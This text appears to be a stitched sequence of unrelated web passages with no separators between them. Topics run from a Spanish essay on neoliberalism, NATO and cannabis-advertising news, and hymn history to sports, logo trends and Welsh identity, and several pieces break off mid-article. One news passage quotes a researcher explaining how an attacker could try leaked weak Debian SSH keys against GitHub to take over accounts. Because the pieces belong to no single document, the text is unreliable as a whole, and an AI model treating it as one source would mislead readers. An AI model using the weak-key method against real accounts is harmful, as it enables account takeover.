Los poderosos ya no precisan de políticos a los que influir (o corromper, o amenazar): tienen el control directo de los Estados a través del capital financiero (los “mercados” famosos) y sus agencias de calificación (a quien se sale del dogma se le incrementa la nota, con la consecuencia de recorte del gasto público por el incremento de la deuda). Pero tienen un problema de legitimación. El poder necesita un proyecto a largo plazo que hoy el capitalismo no tiene, que está redefiniendo en la administración, la justicia y la educación. Por eso, hoy, el núcleo duro, compuesto por las fuerzas económicas y las fuerzas del orden necesitan dar la cara, salir a la intemperie. Las guerras asimétricas y las políticas de cerco son expresión de la contundencia con la que se preparan los conflictos.
El desiderátum del neoliberalismo es, en definitiva, la supresión de los controles constitucionales, judiciales y sociales sobre los poderosos. Si subir cada peldaño es fruto de un costoso proceso de acumulación de fuerzas, existe un peligro cierto de que en cualquier momento bajemos varios escalones civilizatorios por la presión que ejercen los poderosos para mantener e incrementar sus privilegios.
En este escenario de desposesión es más necesario que nunca una propuesta de reapropiación. Una propuesta en una democracia cada vez menos deliberativas y cada vez mas plebiscitaria. El debate y la deliberación apenas existen. Y en eso juega un papel la crisis absoluta del papel de los medios, lastrados por su dependencia del sector financiero y sin capacidad o voluntad de ser el espacio de deliberación necesario sobre las políticas.
Pero ese es el terreno en el que construir la alternativa. Pero dicha propuesta no es sencilla. Como escribía Owen Jones tras la victoria de Trump “El centrismo, la ideología de los supuestos moderados, está colapsando. En los 90, la tercera vía por la que abogaron Bill Clinton y Tony Blair podía sostener la dominación política en la mayor parte de Estados Unidos y Europa. Pero se ha marchitado ante los retos del resurgimiento de la derecha populista y los nuevos movimientos de la izquierda”. La cuestión es quien dará respuesta.
Así, una opción es la resignación y que el nuevo marco se aposente, bastándole la legitimación entre los incluidos. También es posible que se rastreen escenarios de utopías disponibles, entre las que la salida independentista ha sido una de ellas, como bien explica Marina Subirats. Y en el peor de los casos se cae en propuestas construidas desde el odio, desde construcción de relatos antiestablishment por quien mejor los defiende, -Frente Nacional, Ukip o Donald Trump-. Lo escribía Sanders en New York Times “No es ninguna sorpresa para mí que millones de personas que votaron por el Sr. Trump lo hicieron porque están enfermos y cansados del status quo económico, político y mediático”.
Nota: Este texto es la primera parte de un texto más amplio del autor, por razones prácticas se ha decidido presentarlo en dos artículos. La segunda parte se publicará en breve con el título 'Construyendo alternativas'.
Other leaders joked and chatted as transport planes and a flight of fighter jets — including a Canadian CF-18 — swooped low over the rolling Welsh countryside in a demonstration of military precision meant as a signal to both a resurgent Russia and Islamic extremists.
Harper didn’t attend, but instead sat down with a handful of his officials in the nearby meeting hall before the morning session, which was meant to put the finishing touches on NATO plans to respond to Russian aggression in Ukraine.
Before his departure, Harper announced the 30-day deployment of several dozen military advisors to Iraq to work with U.S. forces providing tactical guidance to Iraqi troops and Kurdish fighters battling the Islamic State in Iraq and Al-Sham (ISIS), a brutal Al-Qaeda splinter group.
Harper said the move is a response to ISIS’s “murderous rampage” and the humanitarian crisis it has caused. Left unchecked, the radical group is a “direct threat” to Canada and its allies, he said in the statement.
The advisors are expected to be drawn from the Canadian Special Operations Regiment. Two Canadian military cargo planes are also ferrying weapons to the Kurds.
The prime minister said the new deployment is not without risk, but it’s not a combat mission, something for which the Conservatives have traditionally sought the blessing of Parliament.
He also signalled very clearly that it’s not the end of allied action, and that Canada would evaluate further participation as events unfold.
“The measures taken to date, particularly in the north of Iraq, have certainly been successful in halting the advance of [ISIS] and to some degree pushing back on it,” Harper said. “But this is far from truly turning back the advance of [ISIS] or diminishing its long-term threat.”
The allies are also considering further sanctions on Russia, which Canada fully supports, he added.
Despite being one of the harshest critics of President Vladimir Putin’s actions, the prime minister was not part of a Thursday meeting with Ukrainian President Petro Poroshenko convened by the U.S., Britain, Germany, Italy and France.
Harper later met separately with Poroshenko, French President Francois Hollande and British Prime Minister David Cameron, whose opening remarks on Friday underlined another sore point, a call for NATO members to increase defence spending to a consistent level.
“We must increase capacity,” Cameron said. “I hope today we can reaffirm our public commitment to spend two per cent of our GDP in defence and 20 per cent of that money on equipment. This will send a strong message to those who threaten us that our collective resolve is as strong as ever.”
Harper resisted the call even before the summit, with his staff declaring it an “arbitrary target” while the prime minister told a British business audience that a nation should be measured by its contribution, not by how much it spends.
The defence budget will increase, as will the tempo of operations for the military, he said on Friday.
“I don’t, in any area of government, set a budget and say we’ll spend a certain amount and go out and try to spend it no matter how we can spend it,” Harper said during his only question-and-answer session with Canadian journalists.
“That’s not how we do business and I’m certainly not going spend on a massive military expansion for the sake of doing so. As I say, our allies can be assured and are assured that Canada will spend what is necessary.”
NATO rolled out plans Friday to bolster its rapid reaction forces, which will be capable of deploying to countries under Russian threat within days. The alliance’s military leaders are still working out the details, including a spearhead force of ultra-high readiness troops.
A number of experts have argued that recreational cannabis should face a restrictive marketing regime similar to the one for tobacco products, with plain packaging and little or no advertising.
However, a new group called the Coalition for Responsible Cannabis Branding is calling on the government to allow companies to advertise marijuana in a similar fashion to alcoholic beverages, with colour logos and widespread advertising. According to the coalition, which includes 17 licensed producers and two professional associations, allowing cannabis ads is the best way to help legal producers to compete with the black market.
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"We should align the restrictions around cannabis so that they are virtually the same as beer, wine and liquor," said coalition spokesman Cam Battley, who is also the executive vice-president at Aurora Cannabis Inc. "It's the easiest and most pragmatic way to go."
Under legislation before the House of Commons, the prohibition on cannabis will be lifted by next July. However, the federal and provincial governments still have to develop some of the rules for how cannabis products will be distributed and sold across Canada.
Under proposed advertising and marketing guidelines that the coalition will release on Wednesday, companies would be able to promote products based on taste, flavour, safety, origins and use. In addition, cannabis products could be promoted on print, television and social-media platforms where at least 70 per cent of the audience is over 18 (or higher depending on a province's legal age of consumption).
At the same time, producers would be forbidden to target underage users, to promote the actual consumption of the drug and to associate its use with driving or any other skilled activity.
In addition, all advertising would include educational statements to inform consumers on the ways to use cannabis safely and responsibly.
Mr. Battley said the goal of legalization of cannabis is to remove illegal producers and sellers from the market, which will reduce consumption among underage Canadians, who will not be able to buy it legally.
"If you want to reduce youth access, you have to carve away the black market. In order to carve away the black market, you have to unleash market forces," he said. "It's an incredibly sophisticated black market that we are up against. All of their products are branded."
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The federal government has not yet explained how it intends to deal with the advertising of recreational cannabis. Details will be unveiled in coming weeks, when the government launches consultations on draft regulations that will accompany its legislation to legalize marijuana.
Still, the coalition's proposed guidelines go much further than the limited branding regime proposed last year by a federal task force chaired by former Liberal cabinet minister Anne McLellan. In the report, which the federal government has endorsed, the task force warned about the dangers of allowing cannabis to be advertised in the same way as alcohol products.
"In order to reduce youth access to cannabis, strict limits should be placed on its promotion," the task force's report said. "In our view, comprehensive restrictions similar to those created by tobacco regulation offer the best approach."
The task force called for plain packaging and restrictions on advertising because it is nearly impossible to shield youth and young adults from the promotional material. It supported allowing some promotional material inside adult-only retail spaces.
"Comprehensive advertising restrictions should cover any medium, including print, broadcast, social media, branded merchandise, etc., and should apply to all cannabis products, including related accessories," the report said.
Between May and June, Internet Explorer gained 0.57 percentage points (from 59.75 percent to 60.32 percent). Usually, it's IE losing the most ground.
Data source: Net Applications
We've seen IE drop more than one percentage point on multiple occasions, but even though IE's gain is substantial, it's not unheard of to see IE gain share once in a while. Months like this don't usually happen twice in a row, and until we see data for July we can't say that IE's long decline has started to reverse itself.
It may be grinding to a halt, though, given that May's loss was Microsoft's smallest decline in the last year (and IE actually saw positive growth in the US) and now IE is back above 60 percent.
Microsoft noted that the increase may be the result of a marketing campaign that it launched earlier this month to underline how IE8 helps stop online criminals from stealing your information. Since launch, Redmond has had many campaigns to promote IE8's various features, especially the security ones, and while version 8 is the fastest growing browser, its success has not been enough to counter the overall decline of IE thus far.
As for Firefox, the browser has once again moved away from the 25 percent mark, now dropping below 24 percent. We've been blaming Chrome for this trend until now, but this month IE can claim some responsibility.
Data source: Net Applications
The importance of being the default browser in the world's most popular operating system continues to boost IE. Microsoft's browser is being used by more than 6 out of 10 people and IE8 is being used by more than one in four users on the Web (quickly closing in to be one in three). The general trend is that IE7 and IE6 are both slowly sliding backwards in share. Unfortunately for Web developers everywhere, IE6's share is not only greater than IE7's, but it actually gained 0.01 percentage points this month. While IE6's share can be attributed to businesses still using customized intranet applications as well as the fact that XP's share is much bigger than Vista's, we suspect the gain isn't accurate, especially since it's so minute.
In addition to being the word for ministers proceeding into the sanctuary in ceremonial fashion, a “processional” is also the name for a book, in which were contained songs that were chanted during these church processions. The text Puer natus in Bethlehem first appeared in a Benedictine processional in the early 14th century. When the text was later standardized, the first Latin stanza read:
Puer natus in Bethlehem, Bethlehem
unde gaudet Jerusalem, Alleluia, alleluia.
A boy is born in Bethlehem (echo: Bethlehem),
wherefore Jerusalem rejoices: Alleluia, alleluia.
In 1439, Heinrich von Laufenberg translated the Latin verses into German:
Ein Kind geborn zu Bethlehem
Des freuet sich Jerusalem, Alleluja.
A tune of the same name (PUER NATUS IN BETHLEHEM) was associated with the text since the 14th century. By the early 17th century, the tune had all but become the same as it appears today.
The last hymnal for which Martin Luther authored prefatory remarks and what he would have regarded as his own hymnal for personal use was the 1545 edition of Geistliche Lieder, published in Leipzig by Valentin Babst (later known as the “Babst hymnal”). It was in this hymnal that the ten stanzas of Ein Kind geborn zu Bethlehem settled into what would be the authorized German version of the text.
Sixty years later, in the first decade of the 17th century, Michael Praetorius’ nine-volume work Musae Sioniae included 1,200 chorale settings, some with elaborate eight or twelve voice arrangements. One of the four-part chorale settings was the setting for Puer Natus in Bethlehem, a setting which still finds use today.
Since this hymn text also had verses that made reference to the Wise Men and their gifts, Johann Sebastian Bach used the text and tune early in the 18th century for his church Cantata #65. He composed this cantata and it was first performed on the Festival of the Epiphany of our Lord, January 6, 1724. 179 years after the hymn was published in the Babst hymnal in Leipizig, in that same city, the wondrous tones of a Bach cantata raised up that same song once again, proclaiming the message of how Wisemen from the East came to worship the boy who was born in Bethlehem.
The German text of this hymn was first translated into English by Hamilton Montgomerie MacGill. MacGill was educated and served as a minister in Glasgow, Scotland. He was a member of the Hymnal Committee of the United Presbyterian Church, contributing to the Presbyterian Hymnal of 1876.
God-willing, three short years from now, a newly published hymnal will be in the hands of WELS Christians scattered throughout this country and beyond. In the Christmas section of that new hymnal will appear a text that has made its way from a 14th century Latin processional to a 16th century German hymnal to a 17th century book of chorales to an 18th century church cantata to a 19th century Scottish hymnal to a 21st century English hymn (public domain translation by Chris Neuendorf, alt.) published by a small Lutheran church body based in Wisconsin, USA. The music of that hymn was set in SATB chorale form in the early 17th century by a truly Lutheran musician and choir director. Space permitting, the Epiphany section of the new hymnal will additionally include an Epiphany version of the hymn, allowing worshipers to echo the harmonies of Praetorius from his 1607 book of chorales, and to re-echo the harmonies of Bach from that Epiphany celebration in 1724 (Bach BWV 65, movement 2 [chorale] here from 3:35 to 4:17). I will be looking forward to a lead sheet version of the hymn that will allow for piano/guitar ensemble performance, sung at a lively pace.
And the best thing about standing in this long line of Christians who have made use of this one, particular hymn? We will be singing of Jesus, who became flesh to become our sin, that we again like him might be, set free from sin to serve and honor our God.
1 A child is born in Bethlehem, Bethlehem,
the joy of all Jerusalem. Alleluia, Alleluia!
5 Our feeble flesh and his the same, his the same,
our sinless brother he became, Alleluia, Alleluia!
6 from all our sin to set us free, set us free,
that we again like him might be. Alleluia, Alleluia!
7 Rejoicing in the holy birth, holy birth,
we praise our God who came to earth. Alleluia, Alleluia!
Peace in Jesus to you and yours this Christmas season!
Michael D. Schultz, director
"The nomination process is over and regardless of other candidates one may have supported in the primary, it's critical for the leaders in the country who believe in free markets to step up and rally behind Donald Trump and Great America PAC," Stanley Hubbard, a co-chair of Great America PAC, said in a statement. "With our expanding list of supporters, we will have the financial resources to help Donald Trump win a billion-dollar campaign."
Donald Trump rejects "dark money" from campaign donors
Some high-profile Republicans are counted among Great America PAC's supporters, including former "Clueless" star Stacey Dash, a conservative pundit who had previously dubbed Trump a "true conservative" and had defended him over the violent incidents at his campaign rallies.
"There's a lot of talk about Donald Trump being violent, condoning it, or at least inciting it," Dash wrote in a blog post in March. But, she asserted, "he's not violent, he's just 'street.'"
Among some of the other well-known names are LendingTree founder Doug Lebda, who joined Hubbard as a co-chair of the committee earlier this month, New York businessman Robert Lapidus and oil executive James Volker.
The group says it has raised and spent at least $2 million for its pro-Trump efforts in the last four months, accruing over 30,000 individual donations so far.
The keys, which allow authorized users to log into public repository accounts belonging to the likes of Spotify, Yandex, and UK government developers, were generated using a buggy pseudo random number generator originally contained in the Debian distribution of Linux. During a 20-month span from 2006 to 2008, the pool of numbers available was so small that it made cracking the secret keys trivial. Almost seven years after Debian maintainers patched the bug and implored users to revoke old keys and regenerate new ones, London-based developer Ben Cartwright-Cox said he discovered the weakness still resided in a statistically significant number of keys used to gain secure shell (SSH) access to GitHub accounts.
"If you have just/as of late gotten an email about your keys being revoked, this is because of me, and if you have, you should really go through and make sure that no one has done anything terrible to you, since you have opened yourself to people doing very mean things to you for what is most likely a very long time," Cartwright-Cox wrote in a blog post published Monday. "It would be safe to assume that due to the low barrier of entry for this, that the users that have bad keys in their accounts should be assumed to be compromised and anything that allowed that key entry may have been hit by an attacker."
Cartwright-Cox told Ars that he found about 94 keys on GitHub that contained the Debian-derived weakness. He said that after he reported his finding to GitHub officials in March he learned the actual number of site users was much higher. GitHub revoked the keys early last month, he said. GitHub officials didn't respond to a request to comment.
Separately, the UK developer said he found nine GitHub SSH keys that contained woefully insufficient numbers of bits. Two of them had only 256 bits, making it possible for him to factor them and clone the private key in less than an hour. The remaining seven had only have 512 bits.
During the time the Debian bug was active, the pool of bits available when generating OpenSSH keys was so limited that there were only 32,767 possible outcomes for a given architecture, key size, and key type. Cartwright-Cox said attackers could have used the same methods he employed to find weak keys and then used several techniques to gain unauthorized access to the accounts the keys protected. The task would have been aided by obtaining the list of insecure Debian SSH keys off one or more public sites, such as this one. In an e-mail, he elaborated:
If I wanted to be more noisy I could have just done what I said [in the blog post] and looped though the keys, that may or may not have set off alarms at Github itself (I'd give it a 25% chance that it would). So the breakdown of how this could have been done is the following: Grab the bad key list. It contains the public and private parts of all the SSH keys that would have been made if the user had a version of OpenSSH that had Debian RNG bug, then get each private key on the list, and try to log into GitHub's ssh with them. Depending on what key you succeed with it will tell you what user name it matches up with, in the example I provided since my key is loaded it tells me "Hi benjojo! You've successfully authenticated, but GitHub does not provide shell access." but if I was to try with a weak key that matched up with another user it would say "Hi {user}! You've successfully authenticated, but GitHub does not provide shell access." and then I know what user I can compromise with that.
Technically, attackers don't even need the private key to see if a site accepts authentication from a user, HD Moore, chief research officer at Rapid7 and co-founder of the Metasploit hacking framework, told Ars. Just the public key and this Metasploit module will do. "This trick can also be used to see what internet-facing servers allow logins from what public keys, even if the private key is not available, which is a neat reconnaissance/opsec technique," Moore said.
The randomness bug was introduced in late 2006, when Debian maintainers removed two lines of code in the OpenSSL code base in an attempt to fix warnings received by some users. In the process, the maintainers wiped out almost all of the entropy that OpenSSL relied on for its randomness engine. The epic mistake, which eventually migrated to the Ubuntu distribution of Linux as well, wasn't diagnosed for 20 months, and by that time an untold number of cryptographic keys had been generated.
McGowan revealed Adelaide has just 13 fit contracted players for its round of 32 knockout clash against Queensland’s NPL club Redlands United at Perry Park.
The last time McGowan was thrust into the striker’s role was off the bench in November 2014 where he became an instant hero for his assist in Adelaide’s last-gasp 2-1 win over Wellington Phoenix at Coopers Stadium.
“There’s worse candidates out there (for the striker’s position),’’ McGowan said.
“I’ll submit my video against Wellington when I set up Tanque (Sergio Cirio) for the winner — I wouldn’t bet against it but that’s when you know we’ve got huge injury crisis when I’m up front.”
McGowan revealed new signing Marc Marino and midfielder George Mells are on the injured list, joining long-term injured Michael Marrone (Achilles) and Sergio Cirio (broken bone in his foot).
Adelaide, in the midst of replacing key players who left the champion — Craig Goodwin (Sparta Rotterdam), Stefan Mauk (NEC), Bruce Djite (Suwon FC), Pablo Sanchez (Llagostera) and, Bruce Kamau (Melbourne City) who made a late impact — United is poised to field a makeshift side against the sixth-placed NPL side in Queensland.
“We’ve got 13 players,’’ McGowan said. “We’ve got a flat starting XI and I think that’s it. It’s grim.
“We’ll definitely be filling the bench with youth team boys and some of those are youths we’re trying to sign out of the youth team. A few of them will be announced signings shortly and they’ll be on the bench and that sort of stuff.”
McGowan is confident Adelaide will sign good replacements before the new season.
He claimed the aim of the Reds was to start defending the Premier’s Plate and championship via the FFA Cup, which the club won in 2014.
“There definitely should be the money there to replace them (outgoing players),’’ McGowan said. “We need to get the quality players in, there’s a few clubs in a similar boat like Western Sydney and Melbourne Victory who lost a lot of players as well.
This question is misleading because it doesn’t specify whether the help was medically necessary. Patients have complained on the survey, which in previous incarnations included comments sections, about everything from “My roommate was dying all night and his breathing was very noisy” to “The hospital doesn’t have Splenda.” A nurse at the New Jersey hospital lacking Splenda said, “This somehow became the fault of the nurse and ended up being placed in her personnel file.” An Oregon critical-care nurse had to argue with a patient who believed he was being mistreated because he didn’t get enough pastrami on his sandwich (he had recently had quadruple-bypass surgery). “Many patients have unrealistic expectations for their care and their outcomes,” the nurse said.
In fact, a national study revealed that patients who reported being most satisfied with their doctors actually had higher healthcare and prescription costs and were more likely to be hospitalized than patients who were not as satisfied. Worse, the most satisfied patients were significantly more likely to die in the next four years.
Joshua Fenton, a University of California, Davis, professor who conducted the study, said these results could reflect that doctors who are reimbursed according to patient satisfaction scores may be less inclined to talk patients out of treatments they request or to raise concerns about smoking, substance abuse, or mental-health issues. By attempting to satisfy patients, healthcare providers unintentionally might not be looking out for their best interests. New York Times columnist Theresa Brown observed, “Focusing on what patients want—a certain test, a specific drug—may mean they get less of what they actually need. In other words, evaluating hospital care in terms of its ability to offer positive experiences could easily put pressure on the system to do things it can’t, at the expense of what it should.”
As a Missouri clinical instructor told me, “Patients can be very satisfied and dead an hour later. Sometimes hearing bad news is not going to result in a satisfied patient, yet the patient could be a well-informed, prepared patient.”
How far will a hospital go to satisfy a patient? Recently, some have rushed to purchase extra amenities such as valet parking, live music, custom-order room-service meals, and flat-screen televisions. Some are offering VIP lounges to patients in their “loyalty programs.”
You may want to explore means other than your cable feed for getting hold of TV drama. If you know a teenager who can hook you up, the internet may help you find the drama fix you need to get you through the hard times.
I know you guys are on strike, but at the end of a long day on the picket line, I’m sure you want to relax with a good show. And what I’m talking about here are dramas written under legitimate collective agreements. Plus, the delivery system that you’d be end running isn’t working for you right now anyway — hence the strike.
I’m not advocating that you do anything immoral or illegal. I am after all somebody’s mother and an upstanding, law abiding citizen. But I’m also a TV junkie and I’ve come across some stuff that you may want to check out and some other stuff I can suggest you avoid.
So here is my current international viewing report:
US Network PreAir Pilots
Canturbury Law looks like it could be watchable series. The pilot offers an hour’s worth of entertainment. It’s a bit of watered down Damages with one more of this season’s female antiheroes.
Babylon Fields: The premise is that dead people in the town get up out of their graves and start to live again. Now you know everything that happens in the pilot and you don’t need to watch. One hour, one beat.
Eli Stone is going to air starting at the end of the month. It’s a lawyer meets superpowers show. The superpower in question is that Eli has visions and a spiritual bent. Also he can summon George Michaels. I’ll watch a second episode.
New Amersterdam is a cop meets superpowers show. Homicide detective John Amersterdam can’t die until he meets his soul mate and since he wants to die, he is searching for the one woman he is meant to be with. Or something. I thought it was a pretty lame pilot with a few too many flashbacks.
Leaving the borders of the US, you could try out some of the new Canadian fare
The Border is worth checking out. Start with episode 103, it’ll make you want to watch the rest of the season. The series focuses on the agency that polices the Canadian border, it’s fast paced, has lots of action and the story keeps turning with every new act.
Murdoch Mysteries: This series airs premieres this week. I’ve seen a couple, enjoyed them both immensely. Murdoch is a detective working in Toronto in the late 1800s. He rides a bike and uses science to solve his cases. It’s funny, charming and has some great mysteries.
Leaving the continent, you can check out some of what the Brits have on offer
Oliver Twist 2007 : If you haven’t seen it yet, this British miniseries is easy to devour in a couple of evenings. It clips along, looks dynamite and is much closer to the Dickens than any of the adaptations you remember.
Secret Diary of a Call Girl: omg, you haven’t seen it yet? Do yourself a favour, get hold of the whole first season, lock the door, take the phone off the hook and enjoy. Remember to stay hydrated.
The psychologists weren’t interested in what the subjects wrote about their girlfriends or boyfriends. Those writings were kept private. But another set of daily correspondence was fair game: instant messages (IM). Under the premise of a word quantification procedure, participants were asked to forward all instant message (IM) chats between themselves and their partners. Because IMs are frequent, impromptu, and real-time, they’re precious in the world of psychological studies. The researchers wanted to know if expressive journal writing on a daily basis made a difference in a couple’s everyday interactions. The frequency and emotional content of IM conversations, they figured, reflect the state of the relationship.
It turns out that men and women required to write privately about their feelings do communicate more with their loved ones. Comparing the instant messages of the 44 subjects assigned to express their feelings in writing on a daily basis versus the 42 who did not, the researchers found that the diary writers were more expressive with their partners. Without realizing it, men and women who had previously reflected on their relationship in writing used more emotion words such as happy, love, nervous, and mad when they IM’d their partners. Three months into the study, 77 percent of the participants who had written about their relationship were still with their partners, compared to 52 percent of the participants in the control group.
Why does daily journaling about a relationship help so much? According to the researchers, it helps lovers to better articulate their feelings. And in so doing, it also helps to reinforce those feelings. Thoughts and feelings are so often vague and fleeting; capturing them in words amplifies them and loops them back to you. Our brains love patterns — mulling over emotions helps reify them, makes them concrete. You may find yourself expressing yourself with your partner the same way you do in your private writing. Focus on positive thoughts in your journal writing and you may find that those happy emotions spill over into everyday life. In a virtuous cycle, the partners of the study participants also became more expressive as well. (It’s another amplifying feedback loop, not unlike how having a lot of sex may make you want even more of it.)
Take a moment and reflect: How expressive are you with your partner? To what extent are you on autopilot, filling your conversations with practicalities instead of emotion? Can you commit your feelings to words? If you can, you may find yourself more committed to your relationship.
It’s also important to remember, that despite the fact that design trends vary from year to year (see our 2016 forecast), the underlining philosophy behind logo design never changes, as they are created to leave not only an everlasting impression on customers, but also convey the message of the brand.
Click to tweet these 2017 Logo Trends.
As 2017 begins, we look forward to the new year and hope that it brings with it a new direction for logo design. In collaboration with Designhill, and research conducted with top logo designers around the world, these are the most likely logo design trends forecast for 2017, which include a few new trends, and some that will become more popular.
From vintage to line art and hand drawn to minimalistic, these are our predictions for the top logo design trends in 2017.
1. Literal Minimalism
In an industry where logos are becoming bold, piled and more complex in an attempt to distinguish itself, it is often the simplest of designs which catch the eye, most notably the “flat design” trend dominating the market.
For this “literal minimalism” evolution, it is important to ensure that the minimalist design is both practical and purpose-driven; the purpose of a logo is to tell your customers what you do immediately and with absolute clarity. eg. the meaning is within the logo itself.
These logos are well received by potential clients because they are more easily understood, although this does not necessarily mean they are better.
2. Hand-Drawn
Hand-drawn graphics were popular in 2016 and this trend is set to gain even more ground in 2017, as it conveys authenticity.
Particularly popular in the food and drink industry, where business owners are determined to project a business that is both self-governing and exclusive from the competition but also off-the-wall and chic.
Hand-drawn logos emanate warmth, credibility and charisma; three attributes which are more difficult to capture using computer aided design.
Looking to 2017, an increased use of colour and tone are likely developments of this trend.
3. Negative Space
Negative space logos will be 2017’s break-out trend, peaking from the rise of 2016.
This style of logo is based around dual-imagery, where positive and negative space each compete for the viewer’s attention. Think the NBC logo, where the negative space is used to create the iconic peacock image.
4. Line Art
First picking up pace in 2015, the line art logo trend has sustained its position in the industry and is likely to still be on top in 2017.
This trend uses a steady thickness of lines with only one solid colour integrated. It can be seen being used by brands who wish to set themselve as fun, modern and laid back. Moving forward, there will be outstanding opportunities for designers to find creative ways to utilize negative spacing into their line art designs.
5. Vintage
Customers have strong emotions and memories connected with the past, and a vintage logo will often speak to them in a way that a modern one will not, playing on nostalgia.
A vintage logo can often convey a sense of credibility as well as a sense of connectivity with the user or brand.
This is something many designers and customers are settling on today, and this will grow in 2017. A word of warning, a vintage logo can often recklessly portray a brand as being out-dated or “stuck in the past”. This is something you must consider very attentively when creating a company logo design as this approach is extremely destructive..
6. Form simplification
There are sloppy people, and there are neat people. We love both, but if logo and branding trends are any indication, it’s time to make room for cleanliness.
In the recent Mastercard and Airbnb rebrands, visually busy logos were exchanged for streamlined, simple designs.
7. Moving parts
We’ve saved the best for last! One of the most exciting trends on our radar is branding that introduces both logo design variation in printed materials and web-based animated GIFs, such as those below for Ta La Wa, Open View and Giant Owl Productions.
Logo Design Trends 2017 Infographic
Feel free to click on the logo trends infographic to view it larger.
Share this Image On Your Site
<a href=’https://justcreative.com/2017/01/01/2017-logo-design-trends-forecast/’><img src=’https://justcreative.com/wp-content/uploads/2016/12/2017_logo_design_trends_infographic-640×2227.jpg’ alt=’2017 Logo Design Trends’ width=’540px’ border=’0′ /></a><strong>Source: <a href=’https://justcreative.com’>JustCreative.com</a></strong>
Do you have any further top best logo design trends to add?
More Notable Logo & Branding Trend Articles
Lake Compounce in Bristol has decided to close its SkyRide permanently, a spokesperson for the park confirmed Wednesday.
Park officials said they made the decision because there is limited access to the area and rugged terrain due to the mountain.
The move comes not long after a teenager was hurt falling out of a similar style ride at a upstate New York amusement park.
Sara Frias, a spokesperson for the park, issued the following statement on the matter:
“Due to the rugged terrain of the mountain and the limited access to the remote area, Lake Compounce has decided to close the SkyRide attraction permanently.
We look forward to utilizing the loading zone area for future attractions in the coming years to continue to bring unforgettable fun to America's longest continuously operating amusement park.”
It was an unheard of gesture between two countries that had, only a year earlier, been bitter rivals. And it’s part of a new exhibit at the Washington State History Museum.
The Cold War Starts To Thaw
In the mid-1980s, the nation watched as President Ronald Reagan visited Moscow, quoting Russian proverbs to Soviet leader Mikhail Gorbachev.
“Doveryai, no proveryai,” Reagan said, before repeating it in English: “Trust but verify.”
“You repeat that at every meeting,” Gorbachev quipped, drawing laughs from the room.
As the Cold War thawed, then-Washington Secretary of State Ralph Munro watched the events unfold. He remembers, in particular, watching on television as Gorbachev visited Washington, D.C.
“There were, of course, people lining the streets,” Munro said. “They couldn’t believe the Russian leader was in Washington, D.C., and the car stopped halfway to the White House, just a few blocks away. Mr. Gorbachev got out and went around and started shaking hands. My wife and I were virtually in tears.”
Citizen Diplomacy
But the high-level diplomatic efforts are only part of the story about the thawing of the Cold War. This exhibit at the Washington State History Museum is dedicated not to the power brokers, but to the citizens who led their own diplomatic efforts to reach out to Soviet people.
“Yeah, a number of people started to try to develop relationships,” said Munro.
There were a variety of events. Alaska Airlines held what they called “Friendship Flights” in the 1980s, between Alaska and Russia.
There were athletic competitions, including the Goodwill Games in Seattle. Swimmer Lynne Cox swam across the International Date Line at the Bering Strait, from an Alaskan island to a Russian one, where she was greeted by locals.
And then in 1992, shortly after the fall of the Soviet Union, came maybe the strangest event of them all. Ralph Munro remembers getting a phone call from Seattle sports promoter Bob Walsh, the brains behind bringing the Goodwill Games to Seattle.
“He called me and said ‘We’re going to shoot a rocket out of Central Russia, and we’re going to send gifts to the state of Washington,’” Munro said. “And I said ‘Bob, you’re out of your mind. You must be crazy.’”
Bob wasn’t crazy. The capsule would orbit the earth for six days, and then land in the ocean. Oh, and there was more.
Guess Who's Coming To Dinner?
The Marshal Krylov, a 680-foot Russian tracking ship (which news accounts would short-hand as “spy ship”) picked up the capsule off our coast and brought it into Seattle’s Elliott Bay on Thanksgiving week, 1992.
Ralph Munro, his family, and hundreds of others, were going to dinner aboard a Russian spy ship.
“And when this ship came into Seattle, it was just beyond comprehension,” Munro said. “They offered public tours! The Russian consul general told me ‘Ralph, I’ve never been allowed to go NEAR that ship. And now you’re going to have dinner on it?’”
Dinner included turkey, cranberry sauce, potatoes, and lots of Russian dishes.
“They tried to duplicate America,” Munro said. “But after a lot of vodka, everything works out fine.”
Besides the visiting Americans dining aboard the Krylov, news accounts from that week say 400 Russian sailors were hosted for Thanksgiving dinners in homes across the area.
The Chilly Now
Times have changed since 1992. The U.S. and Russian governments are again on difficult terms. There are extreme tensions with North Korea. But if there’s one thing Ralph Munro took away from that Thanksgiving dinner 25 years ago, it’s that individual people can transcend trans-national feuds.
“I think you see citizen diplomacy happening every single day, even when the governments are fighting,” Munro said. “You see individual people out there trying to build a better world and figure out ‘How do we get through this?’”
There are few things us bleeding-heart liberals are more terrified of (well, we were up until 2016, at least) than acknowledging the reality of a stereotype. Somehow it feels as if it undermines our noble work, it poisons our soulfood, when we come face-to-face with the fact that such reductionism may have a starting point, no matter how light-hearted. In a recent OffScript Podcast, slam poet superstar Neil Hilborn mentioned that within a few miles of road of his first ever trip to Wales he was surrounded by sheep. Oh no, we all thought – what a shame that was his first impression. There really wasn’t much I could do to deflect the fact the woman next to me on my 6am flight to Edinburgh opened a can of Irn Bru as we lifted into the air.
But Scotland – Edinburgh, at least – seems to have no fears when it comes to its national stereotypes. It is tempting to say that the Scottish own them. What once might have been cartoonish symbols used to mock and subdue a nation, Scotland’s national stereotypes no longer seem to be a point of contention. Perhaps this is because independence from the UK seems only a matter of time, but also because Scotland has a formidable international reputation for “culture”, and no amount of piss-taking from the English is going to dampen that. What the festivals of Edinburgh have contributed to is in giving Scotland a global identity that separates it quite clearly from England.
In contrast, the on-going and often tiring debate about Welsh national identity cannot be untangled from how it sees itself in relation to England, and particularly London.
Scotland has done a far better job of separating itself from London than Wales has. With Cardiff’s regeneration over the last few decades, Wales’ “progress” in terms of politics and business has felt ever more like Scrappy Do to London’s Godzilla. As we constantly try to extricate ourselves from the thing we apparently most do not want to be (English), Wales finds itself unable to be much other than Anglophile. (Ironically, it is in the arts, the sector for which Welsh Government shows least respect, that Welsh identity is most maturely discussed and interpreted).
